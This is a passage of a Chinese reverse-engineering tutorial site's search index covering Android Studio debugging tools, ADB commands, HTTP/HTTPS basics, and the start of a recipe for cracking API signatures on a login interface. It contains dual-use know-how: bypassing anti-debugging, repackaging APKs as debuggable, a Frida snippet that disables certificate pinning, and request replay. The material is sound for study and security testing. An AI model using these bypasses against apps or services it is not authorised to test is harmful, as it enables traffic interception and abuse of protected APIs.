查看栈内容 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#114-lldb-命令"},{"categories":null,"collections":null,"content":"11.5 逆向应用场景 // 1. Hook JNI 函数 // 在 JNI_OnLoad 设置断点，分析动态注册 // 2. 分析 SO 加载 // 在 dlopen / android_dlopen_ext 设置断点 // 3. 追踪加密算法 // 在 AES / MD5 等函数设置断点 // 4. 分析反调试 // 在 ptrace / /proc/self/status 读取处设置断点 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#115-逆向应用场景"},{"categories":null,"collections":null,"content":"12. 终端与 ADB 集成 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:12:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#12-终端与-adb-集成"},{"categories":null,"collections":null,"content":"12.1 内置终端 View -\u003e Tool Windows -\u003e Terminal # 直接在 Android Studio 中使用命令行 # 自动配置 PATH 包含 SDK 工具 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:12:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#121-内置终端"},{"categories":null,"collections":null,"content":"12.2 常用 ADB 命令 # 设备管理 adb devices # 列出设备 adb -s \u003cserial\u003e shell # 连接指定设备 # 应用管理 adb install app.apk # 安装应用 adb uninstall com.example.app # 卸载应用 adb shell pm list packages # 列出所有包 adb shell pm path com.example.app # 获取 APK 路径 # 文件传输 adb push local.txt /sdcard/ # 上传文件 adb pull /sdcard/remote.txt ./ # 下载文件 # 调试 adb shell am start -D -n com.example/.MainActivity # Debug 模式启动 adb forward tcp:8700 jdwp:PID # 端口转发 adb jdwp # 列出可调试进程 # 日志 adb logcat -c # 清空日志 adb logcat *:E # 只显示 Error adb bugreport # 生成 bug 报告 # Shell adb shell # 进入 shell adb shell \"dumpsys activity\" # 查看 Activity 信息 adb shell \"dumpsys package com.example.app\" # 查看包信息 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:12:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#122-常用-adb-命令"},{"categories":null,"collections":null,"content":"12.3 Wireless ADB # 配置无线调试 (Android 11+) # 开发者选项 -\u003e 无线调试 -\u003e 启用 # 配对 adb pair \u003cip\u003e:\u003cport\u003e # 输入配对码 # 连接 adb connect \u003cip\u003e:\u003cport\u003e # 旧版本 (需要先 USB 连接) adb tcpip 5555 adb connect \u003cip\u003e:5555 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:12:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#123-wireless-adb"},{"categories":null,"collections":null,"content":"13. 逆向常用插件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#13-逆向常用插件"},{"categories":null,"collections":null,"content":"13.1 smalidea 功能：Smali 代码语法高亮和调试 地址：https://github.com/JesusFreke/smalidea ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#131-smalidea"},{"categories":null,"collections":null,"content":"13.2 Java Decompiler (JD) 功能：反编译 JAR/Class 文件 集成：Android Studio 内置 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#132-java-decompiler-jd"},{"categories":null,"collections":null,"content":"13.3 APK Analyzer (内置) 功能：分析 APK 结构 使用：Build -\u003e Analyze APK ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#133-apk-analyzer-内置"},{"categories":null,"collections":null,"content":"13.4 Jadx (推荐配合使用) 功能：更强大的反编译工具 地址：https://github.com/skylot/jadx # 虽然不是 AS 插件，但可以配合使用 # 支持导出为 Android Studio 项目 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#134-jadx-推荐配合使用"},{"categories":null,"collections":null,"content":"13.5 其他有用插件 1. Android Drawable Importer - 快速导入图片资源 2. ADB Idea - ADB 命令快捷操作 3. Key Promoter X - 学习快捷键 4. Rainbow Brackets - 彩色括号匹配 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:13:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#135-其他有用插件"},{"categories":null,"collections":null,"content":"14. 调试技巧与最佳实践 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#14-调试技巧与最佳实践"},{"categories":null,"collections":null,"content":"14.1 调试 Release 版本 方法一：重新签名为 debuggable 1. 反编译 APK 2. 修改 AndroidManifest.xml: android:debuggable=\"true\" 3. 重新打包签名 方法二：使用 Magisk 模块 - MagiskHide Props Config - 全局开启调试 方法三：Frida spawn 注入 # 不需要 debuggable frida -U -f com.example.app -l script.js ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#141-调试-release-版本"},{"categories":null,"collections":null,"content":"14.2 处理反调试 // 常见反调试手段： // 1. 检测调试器连接 Debug.isDebuggerConnected() // 2. 检测 TracerPid // /proc/self/status 中 TracerPid != 0 // 3. 时间检测 // 两次操作间隔过长 // 绕过方法： // - Frida Hook 相关检测函数 // - 修改 Smali 代码跳过检测 // - 使用 Native 层 Hook ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#142-处理反调试"},{"categories":null,"collections":null,"content":"14.3 多设备调试 1. 连接多个设备 2. 在工具栏选择目标设备 3. 分别运行/调试 # 使用 scrcpy 同时控制多设备 scrcpy -s \u003cserial\u003e ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#143-多设备调试"},{"categories":null,"collections":null,"content":"14.4 远程调试 # 设置 JDWP 端口转发 adb forward tcp:8700 jdwp:\u003cpid\u003e # 或使用 Android Studio 远程调试 Run -\u003e Attach to Process -\u003e 选择远程设备 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#144-远程调试"},{"categories":null,"collections":null,"content":"14.5 调试快捷键速查 操作 Windows/Linux macOS 运行 Shift+F10 Ctrl+R 调试 Shift+F9 Ctrl+D 停止 Ctrl+F2 Cmd+F2 步过 F8 F8 步入 F7 F7 步出 Shift+F8 Shift+F8 恢复 F9 Cmd+Option+R 切换断点 Ctrl+F8 Cmd+F8 查看断点 Ctrl+Shift+F8 Cmd+Shift+F8 计算表达式 Alt+F8 Option+F8 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:14:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#145-调试快捷键速查"},{"categories":null,"collections":null,"content":"总结 Android Studio 提供了一套完整的调试和分析工具链。对于逆向工程师来说，掌握这些工具能够： 快速了解 App 结构 - APK Analyzer 实时分析运行状态 - Debugger + Profiler 提取和分析数据 - Device File Explorer + Database Inspector UI 自动化准备 - Layout Inspector 底层代码分析 - LLDB + smalidea 建议根据具体的逆向目标，选择合适的工具组合使用。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:15:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#总结"},{"categories":null,"collections":null,"content":"HTTP/HTTPS 协议 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:0:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#httphttps-协议"},{"categories":null,"collections":null,"content":"概述 HTTP (HyperText Transfer Protocol) 和 HTTPS (HTTP Secure) 是 Web 通信的基础协议。理解这些协议对于 Web 逆向工程至关重要。 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:1:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#概述"},{"categories":null,"collections":null,"content":"HTTP 基础 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:2:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#http-基础"},{"categories":null,"collections":null,"content":"请求方法 常见的 HTTP 方法： GET: 请求指定的资源，参数在 URL 中 POST: 向服务器提交数据，参数在请求体中 PUT: 更新资源 DELETE: 删除资源 HEAD: 类似 GET，但只返回头部 OPTIONS: 获取服务器支持的方法 PATCH: 部分更新资源 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:2:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#请求方法"},{"categories":null,"collections":null,"content":"请求结构 GET /api/users?id=123 HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Accept: application/json Cookie: session_id=abc123 组成部分： 请求行：方法 + 路径 + 协议版本 请求头：Key-Value 键值对 空行 请求体（可选） ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:2:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#请求结构"},{"categories":null,"collections":null,"content":"响应结构 HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: token=xyz789 Content-Length: 42 {\"status\":\"success\",\"data\":{\"id\":123}} 组成部分： 状态行：协议版本 + 状态码 + 状态描述 响应头 空行 响应体 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:2:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#响应结构"},{"categories":null,"collections":null,"content":"状态码 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#状态码"},{"categories":null,"collections":null,"content":"1xx 信息响应 100 Continue: 继续请求 101 Switching Protocols: 切换协议 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#1xx-信息响应"},{"categories":null,"collections":null,"content":"2xx 成功 200 OK: 请求成功 201 Created: 资源已创建 204 No Content: 无内容返回 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#2xx-成功"},{"categories":null,"collections":null,"content":"3xx 重定向 301 Moved Permanently: 永久重定向 302 Found: 临时重定向 304 Not Modified: 资源未修改 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#3xx-重定向"},{"categories":null,"collections":null,"content":"4xx 客户端错误 400 Bad Request: 请求错误 401 Unauthorized: 未授权 403 Forbidden: 禁止访问 404 Not Found: 资源不存在 429 Too Many Requests: 请求过多 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:4","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#4xx-客户端错误"},{"categories":null,"collections":null,"content":"5xx 服务器错误 500 Internal Server Error: 服务器内部错误 502 Bad Gateway: 网关错误 503 Service Unavailable: 服务不可用 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:3:5","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#5xx-服务器错误"},{"categories":null,"collections":null,"content":"重要的 HTTP 头部 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:4:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#重要的-http-头部"},{"categories":null,"collections":null,"content":"请求头 Header 说明 示例 User-Agent 客户端标识 Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept 可接受的内容类型 application/json, text/html Accept-Encoding 可接受的编码 gzip, deflate, br Accept-Language 可接受的语言 zh-CN,zh;q=0.9,en;q=0.8 Cookie Cookie 信息 session_id=abc123; token=xyz Referer 来源页面 https://example.com/page1 Origin 请求来源 https://example.com Authorization 认证信息 Bearer eyJhbGciOiJIUzI1NiIs... Content-Type 请求体类型 application/json Content-Length 请求体长度 256 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:4:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#请求头"},{"categories":null,"collections":null,"content":"响应头 Header 说明 示例 Content-Type 响应内容类型 application/json; charset=utf-8 Content-Length 响应体长度 1024 Set-Cookie 设置 Cookie session_id=abc; Path=/; HttpOnly Cache-Control 缓存控制 no-cache, no-store, must-revalidate Access-Control-Allow-Origin CORS 允许的源 * 或 https://example.com Location 重定向地址 https://example.com/new-page Content-Encoding 内容编码 gzip ETag 资源标识 \"33a64df551425fcc55e4d42a148795d9f25f89d4\" ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:4:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#响应头"},{"categories":null,"collections":null,"content":"HTTPS 工作原理 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:5:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#https-工作原理"},{"categories":null,"collections":null,"content":"TLS/SSL 加密 HTTPS 在 HTTP 基础上增加了 TLS/SSL 加密层： 应用层: HTTP 安全层: TLS/SSL 传输层: TCP 网络层: IP ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:5:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#tlsssl-加密"},{"categories":null,"collections":null,"content":"TLS 握手过程 ClientHello: 客户端发送支持的加密套件、TLS 版本等 ServerHello: 服务器选择加密套件，发送证书 证书验证: 客户端验证服务器证书 密钥交换: 使用 RSA 或 DH 算法交换密钥 完成握手: 双方确认，开始加密通信 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:5:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#tls-握手过程"},{"categories":null,"collections":null,"content":"证书验证 证书链: 服务器证书 → 中间证书 → 根证书 信任锚点: 操作系统/浏览器内置的根证书 证书吊销: CRL 和 OCSP 检查 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:5:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#证书验证"},{"categories":null,"collections":null,"content":"逆向分析中的应用 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:6:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#逆向分析中的应用"},{"categories":null,"collections":null,"content":"1. 流量分析 使用代理工具拦截和分析 HTTPS 流量： # 使用 mitmproxy mitmproxy --mode transparent --set console_mouse=false # 使用 Burp Suite # 配置浏览器代理到 127.0.0.1:8080 # 安装 Burp CA 证书 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:6:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#1-流量分析"},{"categories":null,"collections":null,"content":"2. 证书绕过 某些应用会进行证书固定（Certificate Pinning），需要绕过： // Hook Java 的证书验证 (Android) Java.perform(function () { var TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); TrustManager.checkServerTrusted.implementation = function (chain, authType) { console.log(\"Certificate pinning bypassed\"); }; }); ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:6:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#2-证书绕过"},{"categories":null,"collections":null,"content":"3. 请求重放 捕获请求后可以修改参数重放： import requests headers = { 'User-Agent': 'Mozilla/5.0', 'Authorization': 'Bearer token123' } response = requests.post( 'https://api.example.com/data', headers=headers, json={'key': 'value'} ) ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:6:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#3-请求重放"},{"categories":null,"collections":null,"content":"4. 签名分析 很多 API 会对请求参数进行签名： // 常见的签名生成流程 function generateSignature(params) { // 1. 参数排序 const sorted = Object.keys(params).sort(); // 2. 拼接字符串 let str = \"\"; sorted.forEach((key) =\u003e { str += key + \"=\" + params[key] + \"\u0026\"; }); // 3. 加上密钥 str += \"secret_key\"; // 4. MD5/SHA256 哈希 return md5(str); } ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:6:4","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#4-签名分析"},{"categories":null,"collections":null,"content":"HTTP/2 特性 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:7:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#http2-特性"},{"categories":null,"collections":null,"content":"多路复用 单个 TCP 连接可以并发多个请求 解决了 HTTP/1.1 的队头阻塞问题 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:7:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#多路复用"},{"categories":null,"collections":null,"content":"二进制分帧 使用二进制格式而非文本 更高效的解析 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:7:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#二进制分帧"},{"categories":null,"collections":null,"content":"服务器推送 服务器可以主动推送资源 减少请求次数 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:7:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#服务器推送"},{"categories":null,"collections":null,"content":"头部压缩 使用 HPACK 算法压缩头部 减少传输数据量 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:7:4","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#头部压缩"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:8:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#常见问题"},{"categories":null,"collections":null,"content":"Q: 如何在逆向时识别 API 加密？ A: 抓包观察请求参数是否有明显的加密特征（Base64、Hex 编码） 在浏览器 DevTools 中搜索参数名，定位到生成代码 设置断点，追踪参数生成流程 识别使用的加密算法（常见的有 MD5、SHA256、AES 等） ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:8:1","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#q-如何在逆向时识别-api-加密"},{"categories":null,"collections":null,"content":"Q: HTTPS 一定安全吗？ A: 不一定。HTTPS 只保证传输层安全，但不能防止： XSS 攻击 CSRF 攻击 中间人攻击（如果证书验证被绕过） 应用层的逻辑漏洞 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:8:2","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#q-https-一定安全吗"},{"categories":null,"collections":null,"content":"Q: 如何处理 HTTP/2 的流量分析？ A: 使用支持 HTTP/2 的代理工具（如最新版 Burp Suite、Charles） 浏览器 DevTools 可以查看 HTTP/2 流量 Wireshark 可以解析 HTTP/2 协议（需要 SSL 密钥） ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:8:3","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#q-如何处理-http2-的流量分析"},{"categories":null,"collections":null,"content":"进阶阅读 RFC 7230 - HTTP/1.1 Message Syntax and Routing RFC 7540 - HTTP/2 RFC 8446 - TLS 1.3 MDN Web Docs - HTTP ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:9:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#进阶阅读"},{"categories":null,"collections":null,"content":"相关章节 TLS/SSL 握手过程 CORS 与同源策略 浏览器开发者工具 Burp Suite 指南 ","date":"2024-04-04","objectID":"/reverse_engineering/web/01-foundations/http_https_protocol/:10:0","tags":["Web","HTTP","RSA","签名验证","SSL Pinning","JavaScript"],"title":"HTTP/HTTPS 协议","uri":"/reverse_engineering/web/01-foundations/http_https_protocol/#相关章节"},{"categories":null,"collections":null,"content":"配方：解密 API 参数 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:0:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#配方解密-api-参数"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐ (初级) 预计时间 30-45 分钟 所需工具 Chrome 浏览器, Python 3.7+ 适用场景 破解 API 签名、解密请求参数 前置知识 完成 你的第一个 Hook ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:1:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 你的第一个 Hook 必需 你的第一个 Hook JavaScript 基础 推荐 JavaScript 基础 HTTP 协议基础 推荐 HTTP/HTTPS 协议 Chrome DevTools 推荐 浏览器开发者工具 💡 新手提示: 如果你已完成\"你的第一个 Hook\"配方，就可以开始本教程了。对加密算法不熟悉也没关系，我们会在实践中逐步讲解。 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:2:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#-前置知识"},{"categories":null,"collections":null,"content":"你将学到 完成这个配方后，你将能够： ✅ 使用 XHR 断点定位加密函数 ✅ 分析 JavaScript 加密代码 ✅ 识别常见加密算法（MD5, SHA256, AES 等） ✅ 提取密钥和加密参数 ✅ 用 Python 复现加密逻辑 ✅ 构造有效的 API 请求 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:3:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#你将学到"},{"categories":null,"collections":null,"content":"准备工作 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:4:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#准备工作"},{"categories":null,"collections":null,"content":"检查清单 ☐ 完成了\"你的第一个 Hook\"配方 ☐ 已安装 Python 3.7+ ☐ 安装了 requests 库: pip install requests ☐ 了解基本的 Python 语法 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:4:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#检查清单"},{"categories":null,"collections":null,"content":"实战目标 我们将分析一个加密的登录接口，目标是： 找到密码加密函数 分析加密算法 用 Python 实现相同的加密 成功发送登录请求 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:4:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#实战目标"},{"categories":null,"collections":null,"content":"步骤详解 